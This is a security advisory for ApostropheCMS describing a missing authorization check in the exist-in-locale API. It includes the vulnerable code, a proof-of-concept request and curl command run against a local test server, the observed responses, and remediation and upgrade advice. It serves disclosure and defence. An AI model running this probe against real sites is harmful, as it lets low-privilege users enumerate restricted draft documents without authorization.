Skip to content

GHSA-vmxh-77cw-65j7 CVE-2026-113660

ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers

Medium npm
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.36%
Chance of exploitation in the next 30 days. Higher than 30.14% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
4.33.0
Upgrade apostrophe to this version or later

Description

Summary ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

Details Exact vulnerable source path: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exact API route: POST /api/v1/@apostrophecms/i18n/exist-in-locale The handler verifies only that the requester is authenticated:

if (!req.user) {
  throw self.apos.error('notfound');
}

It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

This query does not apply:

.permission('view') .permission('edit') apos.permission.criteria(req, 'view') object-level document authorization locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

Proof of Concept

The local application was running at: http://127.0.0.1:3000 The test account had the low-privilege role: guest The local database contained synthetic records for the restricted document base ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

All credentials and cookies are intentionally redacted below.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Equivalent command

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Observed response

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

Authorization control Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Observed response:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

This demonstrates the authorization boundary clearly:

Request Result
Normal page API for the restricted draft 403 Forbidden
exist-in-locale for the same restricted draft 200 OK with localized document ID
exist-in-locale for a nonexistent ID 200 OK with empty arrays

Additional impact validation

The behavior was also tested across multiple locale and mode combinations:

Query Result
locale=fr, mode=draft Returned wv2l4rbaplgzkg80zkne4aoz:fr:draft
locale=fr, mode=published Returned empty arrays because no published fixture existed
locale=de, mode=draft Returned empty arrays because no German fixture existed
Two IDs in one request Existing ID returned; nonexistent ID omitted

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact A low-privilege authenticated user can: Probe arbitrary known or guessed document base IDs. Determine whether restricted documents have localized versions. Determine whether unpublished draft versions exist. Identify which locales contain matching records. Obtain exact localized document identifiers. Submit multiple IDs in one request for bulk reconnaissance. The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check. The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529

[2] Official ApostropheCMS i18n API documentation

Affected versions

npm

PackageVulnerableFixed in
apostrophe
< 4.33.0
4.33.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

apostrophe npm → 4.33.0

npm
npm install apostrophe@4.33.0
yarn
yarn add apostrophe@4.33.0
pnpm
pnpm add apostrophe@4.33.0

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-86wm-68pq-5jwq
ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export
High Also affects apostrophe
GHSA-653j-g8j7-gh54
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
Medium Also affects apostrophe
GHSA-vwwx-px9w-crrc
ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
Low Also affects apostrophe
GHSA-m2m5-rw3w-cwmj
ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users
Medium Also affects apostrophe
GHSA-gqh3-7856-rjjg
ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)
Medium Also affects apostrophe
GHSA-hhvr-8m24-qqr3
ApostropheCMS: Cross-domain session token in URL confers session takeover
Medium Also affects apostrophe
GHSA-j5rq-xfvr-p969
ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service
High Also affects apostrophe
GHSA-qhcq-9pm2-c9w9
ApostropheCMS: Unauthenticated CSV import requests leave rejected uploads in the system temporary directory
High Also affects apostrophe
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor